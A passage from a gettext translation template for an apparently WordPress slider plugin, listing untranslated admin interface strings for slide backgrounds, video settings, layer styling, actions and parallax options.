admin/views/modals-builder.php:655 msgid "19" msgstr "" #: admin/views/modals-builder.php:660 msgid "Twitter Extras" msgstr "" #: admin/views/modals-builder.php:661 admin/views/modals-builder.php:669 #: admin/views/modals-builder.php:678 admin/views/modals-builder.php:684 msgid "Date Published" msgstr "" #: admin/views/modals-builder.php:662 msgid "Retweet Count" msgstr "" #: admin/views/modals-builder.php:662 msgid "19824" msgstr "" #: admin/views/modals-builder.php:663 msgid "Favorite Count" msgstr "" #: admin/views/modals-builder.php:663 msgid "1249" msgstr "" #: admin/views/modals-builder.php:668 msgid "Facebook Extras" msgstr "" #: admin/views/modals-builder.php:670 msgid "Date Modified" msgstr "" #: admin/views/modals-builder.php:670 msgid "18.08.2018" msgstr "" #: admin/views/modals-builder.php:671 msgid "212" msgstr "" #: admin/views/modals-builder.php:676 msgid "YouTube Extras" msgstr "" #: admin/views/modals-builder.php:677 msgid "Excerpt" msgstr "" #: admin/views/modals-builder.php:683 msgid "Vimeo Extras" msgstr "" #: admin/views/modals-builder.php:685 msgid "321" msgstr "" #: admin/views/modals-builder.php:686 msgid "Number of Views" msgstr "" #: admin/views/modals-builder.php:686 msgid "1786" msgstr "" #: admin/views/modals-builder.php:687 msgid "124" msgstr "" #: admin/views/modals-builder.php:703 admin/views/builder-layer-forms.php:1074 #: admin/views/builder-layer-forms.php:1078 msgid "Actions" msgstr "" #: admin/views/modals-builder.php:716 msgid "Trigger Memory" msgstr "" #: admin/views/modals-builder.php:716 admin/views/modals-builder.php:832 msgid "Reset before each Loop" msgstr "" #: admin/views/modals-builder.php:716 admin/views/modals-builder.php:832 msgid "Keep Last State" msgstr "" #: admin/views/modals-builder.php:728 msgid "No Action Selected" msgstr "" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Click" msgstr "" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Mouse Enter" msgstr "" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Mouse Leave" msgstr "" #: admin/views/modals-builder.php:737 msgid "Interaction" msgstr "" #: admin/views/modals-builder.php:743 msgid "Action Type" msgstr "" #: admin/views/modals-builder.php:748 msgid "Link URL" msgstr "" #: admin/views/modals-builder.php:748 msgid "Enter Link" msgstr "" #: admin/views/modals-builder.php:749 msgid "Link Target" msgstr "" #: admin/views/modals-builder.php:749 msgid "Same Window" msgstr "" #: admin/views/modals-builder.php:749 msgid "New Window" msgstr "" #: admin/views/modals-builder.php:750 msgid "Link Type" msgstr "" #: admin/views/modals-builder.php:751 msgid "Follow" msgstr "" #: admin/views/modals-builder.php:751 msgid "Follow Link" msgstr "" #: admin/views/modals-builder.php:751 msgid "No Follow" msgstr "" #: admin/views/modals-builder.php:756 msgid "Open Modal" msgstr "" #: admin/views/modals-builder.php:757 msgid "Open Slide" msgstr "" #: admin/views/modals-builder.php:762 msgid "Function" msgstr "" #: admin/views/modals-builder.php:762 msgid "javaScript Function" msgstr "" #: admin/views/modals-builder.php:768 msgid "Scroll to ID" msgstr "" #: admin/views/modals-builder.php:768 msgid "ID of Element" msgstr "" #: admin/views/modals-builder.php:774 msgid "Scroll Offset" msgstr "" #: admin/views/modals-builder.php:774 msgid "Offset to Scroll Position" msgstr "" #: admin/views/modals-builder.php:775 msgid "Animation Ease" msgstr "" #: admin/views/modals-builder.php:776 msgid "Animation Duration" msgstr "" #: admin/views/modals-builder.php:776 msgid "Animation Duration in ms" msgstr "" #: admin/views/modals-builder.php:788 msgid "Target Layer" msgstr "" #: admin/views/modals-builder.php:794 msgid "Toggle Start State" msgstr "" #: admin/views/modals-builder.php:794 msgid "Toggled (Visible)" msgstr "" #: admin/views/modals-builder.php:794 msgid "Untoggled (Hidden)" msgstr "" #: admin/views/modals-builder.php:799 admin/views/modals-builder.php:804 #: admin/views/modals-builder.php:811 msgid "Frame wait's on Action" msgstr "" #: admin/views/modals-builder.php:809 msgid "GoTo Frame" msgstr "" #: admin/views/modals-builder.php:817 msgid "Frame N" msgstr "" #: admin/views/modals-builder.php:818 msgid "Frame M" msgstr "" #: admin/views/modals-builder.php:820 msgid "\"N\" wait's on Action" msgstr "" #: admin/views/modals-builder.php:821 msgid "\"M\" wait's on Action" msgstr "" #: admin/views/modals-builder.php:827 msgid "Reset Children Timelines" msgstr "" #: admin/views/modals-builder.php:832 msgid "After Action" msgstr "" #: admin/views/modals-builder.php:838 msgid "Class to Toggle" msgstr "" #: admin/views/modals-builder.php:838 msgid "class Name to Toggle" msgstr "" #: admin/views/modals-builder.php:845 msgid "Action Delay" msgstr "" #: admin/views/builder-slide-forms.php:19 #: admin/views/builder-slide-forms.php:39 #: admin/views/builder-layer-forms.php:505 #: admin/views/builder-layer-forms.php:562 #: admin/views/builder-layer-forms.php:1560 msgid "Background" msgstr "" #: admin/views/builder-slide-forms.php:24 msgid "Pub. Rules" msgstr "" #: admin/views/builder-slide-forms.php:25 msgid "Tags & Link" msgstr "" #: admin/views/builder-slide-forms.php:26 msgid "Static Layer" msgstr "" #: admin/views/builder-slide-forms.php:27 msgid "Ken Burns" msgstr "" #: admin/views/builder-slide-forms.php:28 msgid "Params" msgstr "" #: admin/views/builder-slide-forms.php:29 msgid "Loop Layers" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "External Image" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "Transparent" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "Colored" msgstr "" #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-layer-forms.php:200 msgid "YouTube Video" msgstr "" #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-layer-forms.php:201 msgid "Vimeo Video" msgstr "" #: admin/views/builder-slide-forms.php:45 msgid "HML5 Video" msgstr "" #: admin/views/builder-slide-forms.php:57 msgid "Refresh Source" msgstr "" #: admin/views/builder-slide-forms.php:59 msgid "Background Color" msgstr "" #: admin/views/builder-slide-forms.php:61 msgid "YouTube ID" msgstr "" #: admin/views/builder-slide-forms.php:61 msgid "Enter YouTube ID" msgstr "" #: admin/views/builder-slide-forms.php:63 #: admin/views/builder-slide-forms.php:71 #: admin/views/builder-slide-forms.php:82 #: admin/views/builder-layer-forms.php:255 #: admin/views/builder-layer-forms.php:259 #: admin/views/builder-layer-forms.php:262 msgid "Poster Image" msgstr "" #: admin/views/builder-slide-forms.php:63 msgid "YouTube Poster" msgstr "" #: admin/views/builder-slide-forms.php:66 #: admin/views/builder-slide-forms.php:73 #: admin/views/builder-slide-forms.php:84 #: admin/views/builder-layer-forms.php:571 msgid "Remove" msgstr "" #: admin/views/builder-slide-forms.php:69 msgid "Vimeo ID" msgstr "" #: admin/views/builder-slide-forms.php:69 msgid "Enter Vimeo ID" msgstr "" #: admin/views/builder-slide-forms.php:76 #: admin/views/builder-layer-forms.php:214 #: admin/views/builder-layer-forms.php:218 msgid "MPEG" msgstr "" #: admin/views/builder-slide-forms.php:76 #: admin/views/builder-layer-forms.php:214 #: admin/views/builder-layer-forms.php:218 msgid "Enter MPEG Source" msgstr "" #: admin/views/builder-slide-forms.php:79 #: admin/views/builder-layer-forms.php:225 msgid "WEBM" msgstr "" #: admin/views/builder-slide-forms.php:79 #: admin/views/builder-layer-forms.php:225 msgid "Optional WEBM Source" msgstr "" #: admin/views/builder-slide-forms.php:80 #: admin/views/builder-layer-forms.php:226 msgid "OGV" msgstr "" #: admin/views/builder-slide-forms.php:80 #: admin/views/builder-layer-forms.php:226 msgid "Optional OGV Source" msgstr "" #: admin/views/builder-slide-forms.php:91 msgid "Video from Stream if exists" msgstr "" #: admin/views/builder-slide-forms.php:98 msgid "Settings" msgstr "" #: admin/views/builder-slide-forms.php:104 msgid "Source Size" msgstr "" #: admin/views/builder-slide-forms.php:115 msgid "BG Fit" msgstr "" #: admin/views/builder-slide-forms.php:130 #: admin/views/builder-slide-forms.php:669 msgid "Repeat" msgstr "" #: admin/views/builder-slide-forms.php:138 msgid "(x%, y%)" msgstr "" #: admin/views/builder-slide-forms.php:157 msgid "X% Y%" msgstr "" #: admin/views/builder-slide-forms.php:172 msgid "\"Alt\" Attr." msgstr "" #: admin/views/builder-slide-forms.php:174 #: admin/views/builder-slide-forms.php:186 msgid "Filename" msgstr "" #: admin/views/builder-slide-forms.php:179 msgid "Custom \"Alt\"" msgstr "" #: admin/views/builder-slide-forms.php:184 msgid "\"Title\" Attr." msgstr "" #: admin/views/builder-slide-forms.php:192 msgid "Custom \"Title\"" msgstr "" #: admin/views/builder-slide-forms.php:196 msgid "Width Attrib." msgstr "" #: admin/views/builder-slide-forms.php:197 msgid "Height Attrib." msgstr "" #: admin/views/builder-slide-forms.php:204 #: admin/views/builder-layer-forms.php:234 msgid "Aspect Ratio" msgstr "" #: admin/views/builder-slide-forms.php:208 msgid "Loop Mode" msgstr "" #: admin/views/builder-slide-forms.php:209 msgid "Disable" msgstr "" #: admin/views/builder-slide-forms.php:210 msgid "Slider Timer paused" msgstr "" #: admin/views/builder-slide-forms.php:211 msgid "Slider Timer keep going" msgstr "" #: admin/views/builder-slide-forms.php:214 msgid "Force Cover Mode" msgstr "" #: admin/views/builder-slide-forms.php:215 #: admin/views/builder-layer-forms.php:278 msgid "Next Slide at End" msgstr "" #: admin/views/builder-slide-forms.php:216 #: admin/views/builder-layer-forms.php:279 msgid "Rewind at Start" msgstr "" #: admin/views/builder-slide-forms.php:217 #: admin/views/builder-layer-forms.php:286 msgid "Mute at Start" msgstr "" #: admin/views/builder-slide-forms.php:229 #: admin/views/builder-slide-forms.php:230 #: admin/views/builder-layer-forms.php:306 #: admin/views/builder-layer-forms.php:308 msgid "Arguments" msgstr "" #: admin/views/builder-slide-forms.php:245 #: admin/views/builder-layer-forms.php:801 msgid "On Scroll Details" msgstr "" #: admin/views/builder-slide-forms.php:249 #: admin/views/builder-layer-forms.php:805 msgid "On Scroll can be Added per Slider in the General Options" msgstr "" #: admin/views/builder-slide-forms.php:257 msgid "Parallax & 3D Settings" msgstr "" #: admin/views/builder-slide-forms.php:264 msgid "Global Value ! Option to find under Slider Settings - Parallax Tab" msgstr "" #: admin/views/builder-slide-forms.php:268 msgid "Parallax Level" msgstr "" #: admin/views/builder-slide-forms.php:293 msgid "Scroll Effects" msgstr "" #: admin/views/builder-slide-forms.php:297 #: admin/views/builder-slide-forms.php:302 #: admin/views/builder-slide-forms.php:307 #: admin/views/builder-layer-forms.php:848 #: admin/views/builder-layer-forms.php:861 msgid "Enabled - Scroll Based" msgstr "" #: admin/views/builder-slide-forms.php:298 #: admin/views/builder-slide-forms.php:303 #: admin/views/builder-slide-forms.php:308 #: admin/views/builder-layer-forms.php:849 msgid "Disabled - Time Based" msgstr "" #: admin/views/builder-slide-forms.php:327 msgid "BG Filter" msgstr "" #: admin/views/builder-slide-forms.php:387 msgid "Slide Animation" msgstr "" #: admin/views/builder-slide-forms.php:391 msgid "Active Transition Order" msgstr "" #: admin/views/builder-slide-forms.php:393 msgid "Add Transition" msgstr "" #: admin/views/builder-slide-forms.php:400 msgid "Fade Settings" msgstr "" #: admin/views/builder-slide-forms.php:419 msgid "Ken Burns / Pan Zoom" msgstr "" #: admin/views/builder-slide-forms.php:423 msgid "Pan Zoom Settings" msgstr "" #: admin/views/builder-slide-forms.php:483 msgid "Overflow" msgstr "" #: admin/views/builder-slide-forms.php:484 msgid "Visible" msgstr "" #: admin/views/builder-slide-forms.php:485 msgid "Hidden" msgstr "" #: admin/views/builder-slide-forms.php:488 msgid "Z Position" msgstr "" #: admin/views/builder-slide-forms.php:489 msgid "Front" msgstr "" #: admin/views/builder-slide-forms.php:493 msgid "Show Last Edited Slide" msgstr "" #: admin/views/builder-slide-forms.php:506 msgid "Slide HTML Tags" msgstr "" #: admin/views/builder-slide-forms.php:511 msgid "ID" msgstr "" #: admin/views/builder-slide-forms.php:512 msgid "HTML Data" msgstr "" #: admin/views/builder-slide-forms.php:519 msgid "Link & Seo" msgstr "" #: admin/views/builder-slide-forms.php:524 msgid "Slide Link" msgstr "" #: admin/views/builder-slide-forms.php:527 msgid "Regular" msgstr "" #: admin/views/builder-slide-forms.php:528 msgid "To Slide" msgstr "" #: admin/views/builder-slide-forms.php:531 msgid "URL" msgstr "" #: admin/views/builder-slide-forms.php:532 msgid "Target" msgstr "" #: admin/views/builder-slide-forms.php:533 msgid "_self" msgstr "" #: admin/views/builder-slide-forms.php:534 msgid "_blank" msgstr "" #: admin/views/builder-slide-forms.php:535 msgid "_top" msgstr "" #: admin/views/builder-slide-forms.php:536 msgid "_parent" msgstr "" #: admin/views/builder-slide-forms.php:540 msgid "Link to Slide" msgstr "" #: admin/views/builder-slide-forms.php:542 msgid "Sensibility" msgstr "" #: admin/views/builder-slide-forms.php:543 msgid "Over Layers (Front)" msgstr "" #: admin/views/builder-slide-forms.php:544 msgid "Behind Layers (Back)" msgstr "" #: admin/views/builder-slide-forms.php:563 msgid "Slide Length" msgstr "" #: admin/views/builder-slide-forms.php:566 msgid "Stop Slider Progress" msgstr "" #: admin/views/builder-slide-forms.php:577 msgid "Visible in Navigation" msgstr "" #: admin/views/builder-slide-forms.php:578 msgid "Hidden in Navigation" msgstr "" #: admin/views/builder-slide-forms.php:595 msgid "Publish" msgstr "" #: admin/views/builder-slide-forms.php:599 msgid "Published" msgstr "" #: admin/views/builder-slide-forms.php:600 msgid "Unpublished" msgstr "" #: admin/views/builder-slide-forms.php:617 msgid "Wordpress Multi Language" msgstr "" #: admin/views/builder-slide-forms.php:623 msgid "Slide Lang." msgstr "" #: admin/views/builder-slide-forms.php:639 msgid "Parameters" msgstr "" #: admin/views/builder-slide-forms.php:653 msgid "Description" msgstr "" #: admin/views/builder-slide-forms.php:665 msgid "Loop All Layer Timeline" msgstr "" #: admin/views/builder-slide-forms.php:667 msgid "Use Slide Loop" msgstr "" #: admin/views/builder-slide-forms.php:670 msgid "Start" msgstr "" #: admin/views/builder-slide-forms.php:671 msgid "End" msgstr "" #: admin/views/builder-slide-forms.php:687 msgid "Module Admin Thumbnail" msgstr "" #: admin/views/builder-slide-forms.php:692 msgid "Admin Thumb" msgstr "" #: admin/views/builder-slide-forms.php:701 msgid "Navig. Thumb" msgstr "" #: admin/views/builder-slide-forms.php:707 msgid "Dimension" msgstr "" #: admin/views/builder-slide-forms.php:708 msgid "From Slider Settings" msgstr "" #: admin/views/builder-layer-forms.php:23 msgid "Editor View" msgstr "" #: admin/views/builder-layer-forms.php:23 #: admin/views/builder-layer-forms.php:24 #: admin/views/builder-layer-forms.php:25 msgid "Layer options" msgstr "" #: admin/views/builder-layer-forms.php:24 msgid "Hover View" msgstr "" #: admin/views/builder-layer-forms.php:25 msgid "Animation View" msgstr "" #: admin/views/builder-layer-forms.php:30 msgid "Size & Pos" msgstr "" #: admin/views/builder-layer-forms.php:31 msgid "Adv. Style" msgstr "" #: admin/views/builder-layer-forms.php:33 msgid "Loop Layer" msgstr "" #: admin/views/builder-layer-forms.php:34 #: admin/views/builder-layer-forms.php:920 #: admin/views/builder-layer-forms.php:924 msgid "Hover" msgstr "" #: admin/views/builder-layer-forms.php:38 #: admin/views/builder-layer-forms.php:873 #: admin/views/builder-layer-forms.php:876 msgid "Attributes" msgstr "" #: admin/views/builder-layer-forms.php:39 msgid "Custom CSS" msgstr "" #: admin/views/builder-layer-forms.php:40 msgid "Static" msgstr "" #: admin/views/builder-layer-forms.php:57 msgid "Row Settings" msgstr "" #: admin/views/builder-layer-forms.php:74 msgid "Columns" msgstr "" #: admin/views/builder-layer-forms.php:75 msgid "Update Row" msgstr "" #: admin/views/builder-layer-forms.php:79 msgid "Break At" msgstr "" #: admin/views/builder-layer-forms.php:86 msgid "Row Position" msgstr "" #: admin/views/builder-layer-forms.php:98 msgid "Column Settings" msgstr "" #: admin/views/builder-layer-forms.php:101 msgid "Vertical Align" msgstr "" #: admin/views/builder-layer-forms.php:116 msgid "Text/Button Layer Content" msgstr "" #: admin/views/builder-layer-forms.php:121 msgid "Idle" msgstr "" #: admin/views/builder-layer-forms.php:122 msgid "Toggle" msgstr "" #: admin/views/builder-layer-forms.php:128 msgid "Meta" msgstr "" #: admin/views/builder-layer-forms.php:136 msgid "Use Toggle" msgstr "" #: admin/views/builder-layer-forms.php:137 msgid "Toggled in Hover Style" msgstr "" #: admin/views/builder-layer-forms.php:138 msgid "Inverse Toggled Content" msgstr "" #: admin/views/builder-layer-forms.php:142 msgid "Placeholder" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Line Break" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Only Manual <br/>" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Width Based" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Content Based" msgstr "" #: admin/views/builder-layer-forms.php:143 msgid "Content and Width Based" msgstr "" #: admin/views/builder-layer-forms.php:151 msgid "Text Align" msgstr "" #: admin/views/builder-layer-forms.php:166 msgid "Image Layer Content" msgstr "" #: admin/views/builder-layer-forms.php:168 msgid "Image from Stream if exist" msgstr "" #: admin/views/builder-layer-forms.php:179 #: admin/views/builder-layer-forms.php:181 msgid "Default Setting" msgstr "" #: admin/views/builder-layer-forms.php:179 msgid "Force Lazy Loading" msgstr "" #: admin/views/builder-layer-forms.php:179 msgid "Ignore Lazy Loading" msgstr "" #: admin/views/builder-layer-forms.php:180 msgid "Source Type" msgstr "" #: admin/views/builder-layer-forms.php:192 msgid "Media Content" msgstr "" #: admin/views/builder-layer-forms.php:196 msgid "Video from Stream if exist" msgstr "" #: admin/views/builder-layer-forms.php:202 msgid "HTML5 Video" msgstr "" #: admin/views/builder-layer-forms.php:208 msgid "Video ID" msgstr "" #: admin/views/builder-layer-forms.php:209 msgid "Enter Video ID" msgstr "" #: admin/views/builder-layer-forms.php:228 msgid "Preload" msgstr "" #: admin/views/builder-layer-forms.php:228 msgid "auto" msgstr "" #: admin/views/builder-layer-forms.php:228 msgid "Meta Data" msgstr "" #: admin/views/builder-layer-forms.php:230 msgid "Skip Preload" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "16:9" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "4:3" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "1.85:1" msgstr "" #: admin/views/builder-layer-forms.php:234 msgid "2.39:1" msgstr "" #: admin/views/builder-layer-forms.php:240 msgid "Auto Play" msgstr "" #: admin/views/builder-layer-forms.php:240 msgid "Only 1st Time Slide shown" msgstr "" #: admin/views/builder-layer-forms.php:240 msgid "On - Skip 1st Time Slide" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "Loop" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "No Loop" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "Loop Media - Pause Slide" msgstr "" #: admin/views/builder-layer-forms.php:241 msgid "Loop Media - Do Not Pause Slide" msgstr "" #: admin/views/builder-layer-forms.php:250 msgid "Media Poster" msgstr "" #: admin/views/builder-layer-forms.php:252 msgid "Poster from Stream if exist" msgstr "" #: admin/views/builder-layer-forms.php:255 msgid "YouTube Thumb" msgstr "" #: admin/views/builder-layer-forms.php:259 msgid "Vimeo Thumb" msgstr "" #: admin/views/builder-layer-forms.php:264 msgid "From Stream" msgstr "" #: admin/views/builder-layer-forms.php:265 msgid "Remove Poster" msgstr "" #: admin/views/builder-layer-forms.php:267 msgid "Poster in Pause" msgstr "" #: admin/views/builder-layer-forms.php:268 msgid "No Poster on Mobile" msgstr "" #: admin/views/builder-layer-forms.php:269 msgid "Only Poster on Mobile" msgstr "" #: admin/views/builder-layer-forms.php:274 msgid "Advenced Media Settings" msgstr "" #: admin/views/builder-layer-forms.php:276 msgid "Stop Other Media" msgstr "" #: admin/views/builder-layer-forms.php:277 msgid "Allow Fullscreen" msgstr "" #: admin/views/builder-layer-forms.php:280 msgid "No Interaction" msgstr "" #: admin/views/builder-layer-forms.php:282 msgid "Controls" msgstr "" #: admin/views/builder-layer-forms.php:283 msgid "Large Controls" msgstr "" #: admin/views/builder-layer-forms.php:285 msgid "Inline Mode" msgstr "" #: admin/views/builder-layer-forms.php:289 msgid "Media Volume (0-100)" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "1/4" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "1/2" msgstr "" #: admin/views/builder-layer-forms.php:290 #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "Normal" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "x1.5" msgstr "" #: admin/views/builder-layer-forms.php:290 msgid "x2" msgstr "" #: admin/views/builder-layer-forms.php:293 msgid "i.e. 0:15" msgstr "" #: admin/views/builder-layer-forms.php:294 msgid "i.e. 2:41" msgstr "" #: admin/views/builder-layer-forms.php:315 msgid "Shape Layer Content" msgstr "" #: admin/views/builder-layer-forms.php:322 msgid "Display Mode in Column" msgstr "" #: admin/views/builder-layer-forms.php:324 msgid "Display" msgstr "" #: admin/views/builder-layer-forms.php:324 msgid "Block" msgstr "" #: admin/views/builder-layer-forms.php:324 msgid "Inline-Block" msgstr "" #: admin/views/builder-layer-forms.php:325 msgid "Float" msgstr "" #: admin/views/builder-layer-forms.php:326 msgid "Clear" msgstr "" #: admin/views/builder-layer-forms.php:328 msgid "Add LineBreak Before" msgstr "" #: admin/views/builder-layer-forms.php:329 msgid "Add LineBreak After" msgstr "" #: admin/views/builder-layer-forms.php:335 msgid "HTML Tag" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "Wrapping Tag" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<rs-layer>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<p>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h1>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h2>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h3>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h4>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h5>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<h6>" msgstr "" #: admin/views/builder-layer-forms.php:337 msgid "<span>" msgstr "" #: admin/views/builder-layer-forms.php:350 #: admin/views/builder-layer-forms.php:355 msgid "Global Layer Settings" msgstr "" #: admin/views/builder-layer-forms.php:357 msgid "Layer is Global" msgstr "" #: admin/views/builder-layer-forms.php:372 #: admin/views/builder-layer-forms.php:375 msgid "Responsive Behavior" msgstr "" #: admin/views/builder-layer-forms.php:383 msgid "Resize Between Devices" msgstr "" #: admin/views/builder-layer-forms.php:405 msgid "Hide \"Under\" Width" msgstr "" #: admin/views/builder-layer-forms.php:406 msgid "Show if mouse over Slider" msgstr "" #: admin/views/builder-layer-forms.php:415 #: admin/views/builder-layer-forms.php:418 #: admin/views/builder-layer-forms.php:433 msgid "Position & Size" msgstr "" #: admin/views/builder-layer-forms.php:420 #: admin/views/builder-layer-forms.php:479 msgid "Additional" msgstr "" #: admin/views/builder-layer-forms.php:426 msgid "No options available for your current selection." msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Size Presets" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Custom Size" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Full Width" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Full Height" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Stretch" msgstr "" #: admin/views/builder-layer-forms.php:463 msgid "Cover" msgstr "" #: admin/views/builder-layer-forms.php:466 msgid "Layer Align" msgstr "" #: admin/views/builder-layer-forms.php:468 msgid "Layer Area" msgstr "" #: admin/views/builder-layer-forms.php:504 msgid "Font" msgstr "" #: admin/views/builder-layer-forms.php:509 msgid "Font & Icon" msgstr "" #: admin/views/builder-layer-forms.php:519 msgid "More" msgstr "" #: admin/views/builder-layer-forms.php:519 msgid "Less" msgstr "" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Underline" msgstr "" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Overline" msgstr "" #: admin/views/builder-layer-forms.php:524 #: admin/views/builder-layer-forms.php:990 msgid "Line-through" msgstr "" #: admin/views/builder-layer-forms.php:527 msgid "Uppercase" msgstr "" #: admin/views/builder-layer-forms.php:527 msgid "Lowercase" msgstr "" #: admin/views/builder-layer-forms.php:527 msgid "Capitalize" msgstr "" #: admin/views/builder-layer-forms.php:528 msgid "Selectable" msgstr "" #: admin/views/builder-layer-forms.php:528 msgid "Unselectable" msgstr "" #: admin/views/builder-layer-forms.php:533 #: admin/views/builder-layer-forms.php:987 msgid "Text Color" msgstr "" #: admin/views/builder-layer-forms.php:534 msgid "Color in Frame" msgstr "" #: admin/views/builder-layer-forms.php:546 #: admin/views/builder-layer-forms.php:1000 msgid "SVG Color" msgstr "" #: admin/views/builder-layer-forms.php:547 #: admin/views/builder-layer-forms.php:1001 msgid "Stroke Color" msgstr "" #: admin/views/builder-layer-forms.php:565 msgid "BG in Frame" msgstr "" #: admin/views/builder-layer-forms.php:609 msgid "Spacings" msgstr "" #: admin/views/builder-layer-forms.php:631 msgid "Inherit" msgstr "" #: admin/views/builder-layer-forms.php:632 msgid "Middle" msgstr "" #: admin/views/builder-layer-forms.php:642 msgid "Border" msgstr "" #: admin/views/builder-layer-forms.php:645 #: admin/views/builder-layer-forms.php:1025 msgid "Border Color" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Border Style" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Solid" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Dashed" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Dotted" msgstr "" #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "Double" msgstr "" #: admin/views/builder-layer-forms.php:684 msgid "Basic Transforms" msgstr "" #: admin/views/builder-layer-forms.php:700 msgid "Box Shadow" msgstr "" #: admin/views/builder-layer-forms.php:703 #: admin/views/builder-layer-forms.php:732 #: admin/views/builder-layer-forms.php:1568 msgid "Effect" msgstr "" #: admin/views/builder-layer-forms.php:707 msgid "Shadow on" msgstr "" #: admin/views/builder-layer-forms.php:709 msgid "Wrapper Container" msgstr "" #: admin/views/builder-layer-forms.php:710 msgid "Layer Container" msgstr "" #: admin/views/builder-layer-forms.php:723 #: admin/views/builder-layer-forms.php:743 msgid "Shadow Color" msgstr "" #: admin/views/builder-layer-forms.php:729 msgid "Text Shadow" msgstr "" #: admin/views/builder-layer-forms.php:749 msgid "Blend Mode" msgstr "" #: admin/views/builder-layer-forms.php:754 msgid "Can not be rendered in Editor. Please preview in Frontend." msgstr "" #: admin/views/builder-layer-forms.php:757 msgid "Show in Editor" msgstr "" #: admin/views/builder-layer-forms.php:765 msgid "Spike Masks" msgstr "" #: admin/views/builder-layer-forms.php:768 msgid "Enable Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 msgid "Left Spike" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "No Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Top" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Middle" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "1 Spike Bottom" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Two Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Three Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Four Spikes" msgstr "" #: admin/views/builder-layer-forms.php:770 #: admin/views/builder-layer-forms.php:772 msgid "Five Spikes" msgstr "" #: admin/views/builder-layer-forms.php:771 #: admin/views/builder-layer-forms.php:773 msgid "Spike Width" msgstr "" #: admin/views/builder-layer-forms.php:772 msgid "Right Spike" msgstr "" #: admin/views/builder-layer-forms.php:780 msgid "Sharp Corner Extensions" msgstr "" #: admin/views/builder-layer-forms.php:783 msgid "Left Corner" msgstr "" #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "No Corner" msgstr "" #: admin/views/builder-layer-forms.php:784 msgid "Right Corner" msgstr "" #: admin/views/builder-layer-forms.php:813 msgid "Parallax & 3D" msgstr "" #: admin/views/builder-layer-forms.php:815 msgid "Level" msgstr "" #: admin/views/builder-layer-forms.php:833 msgid "Under Mask" msgstr "" #: admin/views/builder-layer-forms.php:836 msgid "Attach to BG" msgstr "" #: admin/views/builder-layer-forms.php:844 msgid "Timeline Scroll Based" msgstr "" #: admin/views/builder-layer-forms.php:846 #: admin/views/builder-layer-forms.php:859 msgid "Handling" msgstr "" #: admin/views/builder-layer-forms.php:847 #: admin/views/builder-layer-forms.php:860 msgid "Default (Global Settings)" msgstr "" #: admin/views/builder-layer-forms.php:851 msgid "Start Earlier" msgstr "" #: admin/views/builder-layer-forms.php:857 msgid "Filter Effect Scroll Based" msgstr "" #: admin/views/builder-layer-forms.php:878 msgid "Layer ID" msgstr "" #: admin/views/builder-layer-forms.php:879 #: admin/views/builder-layer-forms.php:885 msgid "Classes" msgstr "" #: admin/views/builder-layer-forms.php:881 msgid "Rel" msgstr "" #: admin/views/builder-layer-forms.php:882 msgid "TabIndex" msgstr "" #: admin/views/builder-layer-forms.php:884 msgid "Wrapper ID" msgstr "" #: admin/views/builder-layer-forms.php:896 msgid "Custom Inline & Hover CSS" msgstr "" #: 